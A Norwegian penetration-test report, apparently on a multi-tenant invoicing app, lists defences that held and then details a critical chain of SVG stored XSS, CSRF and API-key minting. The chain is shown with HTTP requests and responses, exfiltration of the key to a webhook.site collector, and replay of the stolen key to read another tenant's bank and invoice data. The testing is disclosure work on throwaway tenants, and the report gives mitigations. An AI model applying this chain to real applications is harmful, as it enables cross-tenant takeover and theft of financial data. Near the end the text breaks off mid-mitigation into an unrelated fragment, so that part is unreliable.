Denne rapporten dekker alt som ble bekreftet og dobbeltverifisert frem til runde 81, da testingen ble satt på pause på grunn av budsjettet. ## Det som holdt — før det som ikke holdt Før det dårlige: kjernen er fortsatt sterk. Jeg vil ikke male et bilde av et system i fritt fall, for det er ikke det dette er. - **`/api/*` tenant-isolasjon** holdt på *alle* stier jeg testet, unntatt to `/api/leads/person-*`-endepunkter. Forged `X-Tenant-Id` for en tenant man ikke er medlem av → `401`. Cross-tenant objektlesing → `404`/tom. - **JWT/session-forging** ble grundig slått ned: ES256, `kid`-pinned, `alg:none` (fire kodinger), HS256 med ni svake secrets, `jwk`/`jku`/`x5u`/`kid`-traversal, ES256→HS256-forvirring — alle avvist. - **SQL-injeksjon** ble ikke funnet (Spring typed binding, rene 400 type-conversion-feil). - **Spring Actuator** herdet på prod og test — `/actuator/health` offentlig-mini, resten gjetet (`302`/`403`). Ingen heap-dump. - **XXE** via dokument/PDF-pipelinen ikke utnyttbar; AS4- og mottaksparsere nekter `DOCTYPE`. - **Ingen server-fotfeste** (RCE/shell), ingen database-tilgang, ingen origin-IP-lekkasje. Appen sender mail via Gmail-API, så mail-headere lekker ikke origin. Originen sitter bak en godt konfigurert Cloudflare. Det er viktig: eksponeringen her er i **autorisasjons-/forretningslogikk-/uautentisert-mottak-laget**, ikke i minnesikkerhet eller infrastruktur. Det endrer hva fiksene ser ut. ## F-01 — Kritisk: kontroll på tvers av tenanter via SVG-XSS + CSRF-bar API-nøkkel Dette er funnet som eskalerte retesten fra "flere høye" til "kritisk". Det er en kjede av tre separate svakheter som hver for seg er Høye, men som satt sammen blir utholden kontroll på tvers av tenanter. Kjeden: (1) opplastet SVG serveres inline, same-origin, som `image/svg+xml`, uten CSP — lagret XSS; (2) htmx-mutasjonsruter autoriserer kun med den SameSite-løse `token`-cookien — ingen CSRF-token, ingen Origin-sjekk; (3) `/dev/token/create` utsteder en persistent tenant-API-nøkkel og renderer den inn i en full HTML-respons som et same-origin-skript kan lese. Når et offer (i en hvilken som helst tenant) åpner én lenke på den ekte `app.kvittringas.no`-origen, kjører angriperens skript i origenen, rider offerets sesjon for å utstede en API-nøkkel i offerets tenant, leser nøkkelen ut av responsen, og beacon-er den ut. Fordi en API-nøkkel ikke er en sesjon, overlever tilgangen offerets utlogging og passordtilbakestilling. ### PoC / Reproduksjon **Forutsetninger:** to self-provisionerte test-tenanter — angriper (tenant 2704, sub 2588) og offer (tenant 2702, sub 2586), begge throwaway-kontoer på engangs-adresser. Offeret har en gyldig httpOnly `token`-sesjon i en ekte Chrome-kontekst. En OOB-collector (`webhook.site/11111111-1111-4111-8111-111111111111`) er selv-testet live før bruk. Alt kjøres mot engine-eide canary-tenanter — ingen ekte kundetenant berøres. 1. **Opplasting (angriper, tenant 2704).** En agent genererte payload-SVG-en. Lærdom fra en tidligere runde: skriptet må være CDATA-innpakket, ellers knekker en bart `&` XML-parsen. Jeg satte scope og lot agenten kjøre opplastingen: ```http POST /api/attachments HTTP/1.1 Host: app.kvittringas.no Cookie: token= Content-Type: multipart/form-data; boundary=----boundary ------boundary Content-Disposition: form-data; name="file"; filename="invoice-scan.svg" Content-Type: image/svg+xml invoice-scan.svg ------boundary-- ``` ```http HTTP/1.1 201 Created Content-Type: application/json {"id":18406,"filename":"invoice-scan.svg","contentType":"image/svg+xml"} ``` 2. **Levering (same-origin, ingen CSP, uautentisert via delt cache).** Agenten hentet URL-en — først med angriperens cookie, så med ingen cookie i det hele tatt: ```http GET /attachments/18406/view/invoice-scan.svg HTTP/1.1 Host: app.kvittringas.no ``` ```http HTTP/1.1 200 OK Content-Type: image/svg+xml Content-Disposition: inline Cache-Control: public, max-age=31536000, immutable CF-Cache-Status: HIT Content-Security-Policy: (ingen) ``` Begge forespørslene — med cookie og uten — returnerte byte-identisk kropp (samme sha1). Skriptet er hostet på den ekte `app.kvittringas.no`-origen og nårbart for hvem som helst med URL-en. `Cache-Control: public, immutable` (se F-13 under) er grunnen til at den uautentiserte hentingen går gjennom — Cloudflare leverer fra delt edge-cache. 3. **Kjøring som offer.** Jeg kjørte offerets nettleser manuelt med Playwright-drevet Chrome, med offerets ekte `token`-cookie injisert i konteksten, mot angriperens lenke. Nettleseren rapporterte `STATUS: 200`, `CT: image/svg+xml`, `CSP: (none)`. Skriptet kjørte i `https://app.kvittringas.no`-origen. `document.cookie.length == 0` — cookien er HttpOnly, så *cookistyveri er ikke vektoren; sesjonsriding er*. Same-origin `fetch("/dev/token/create", {credentials:"include"})` returnerte `200`; responsen inneholdt `` og `Fjellheim Mh As | Tenant API Key | Kvittring`. Et same-origin-skript kan lese det — en blind CSRF-form kunne ikke. 4. **Eksfiltrasjon.** Collector mottok rå nøkkel i to uavhengige pass — pass 1 med `fetch()`, pass 2 med `new Image().src=…` (ingen CORS-restriksjon, den virkelige kanalen). 5. **Replay = overtakelse.** Fra en ren klient, ingen cookie, med den stjalne nøkkelen: ```http GET /api/me HTTP/1.1 Host: app.kvittringas.no Authorization: Bearer u6jIcLVG…yM5CioU ``` ```http HTTP/1.1 200 OK Content-Type: application/json {"email":"@","name":"Regnskap Test"} ``` Angriperen er nå autentisert som offeret, fra en ren klient, uten sesjonscookie. Med samme nøkkel mot `X-Tenant-Id: 2702`: `/api/invoices` → 5 poster, `/api/customers` → 2 poster, `/api/company-banks` → 1 post (bank id 1393, konto `NO98****11`). Konfidensiell finansiell- og bankmasterdata fra en annen tenant, lest av angriperen. 6. **Negativ kontroll.** Samme URL, cache allerede varm, men nettleser *uten* offerets cookie: mint-ruten returnerte `302` (login), og payload beacon-er `NOKEY~Login | Kvittring`. Minten lykkes kun mens offerets egen sesjon rider den. Rent differensial — det er sesjonsriding, ikke noe annet. Kjeden ble reprodusert i to uavhengige fulle pass (fresh opplastinger, fresh nettleserkontekster, ulike attachment-ID-er 18406 og 18407) og med to distinkte metoder (Playwright+`curl`, og `Image()`-beacon + Python `urllib`-replay mot en annen dataklasse). Funn: . **Hvorfor dette er distinkt fra foreldrene.** XSS-funnet alene beviste skriptkjøring i origenen, men stjal ingen credential og nådde ingen annen tenant. CSRF-funnet alene beviste blinde skriv — en cross-site form kan ikke *lese* responsen, så den kunne aldri hente den utstedte nøkkelen. XSS-en gir den same-origin-lesen som gjør CSRF til credential-tyveri. Og fordi en API-nøkkel er persistent, er dette kontrollovertakelse, ikke et forbigående skript. ### Mitigering Røttene er tre, og det er nummer én som dreper kjeden: 1. **Aldri servér brukeropplastet innhold inline fra app-origen.** Flytt `/attachments/{id}/view/*` til en cookie-løs sandboks-origen (`usercontent.kvittringas.no`), eller tving `Content-Disposition: attachment` + `Content-Security-Policy: default-src 'none'; sandbox` + `X-Content-Type-Options: nosniff`. Saner/transkode SVG (strip ` ``` Nonces uten en policy som krever dem er dekorasjon. Enhver injisert `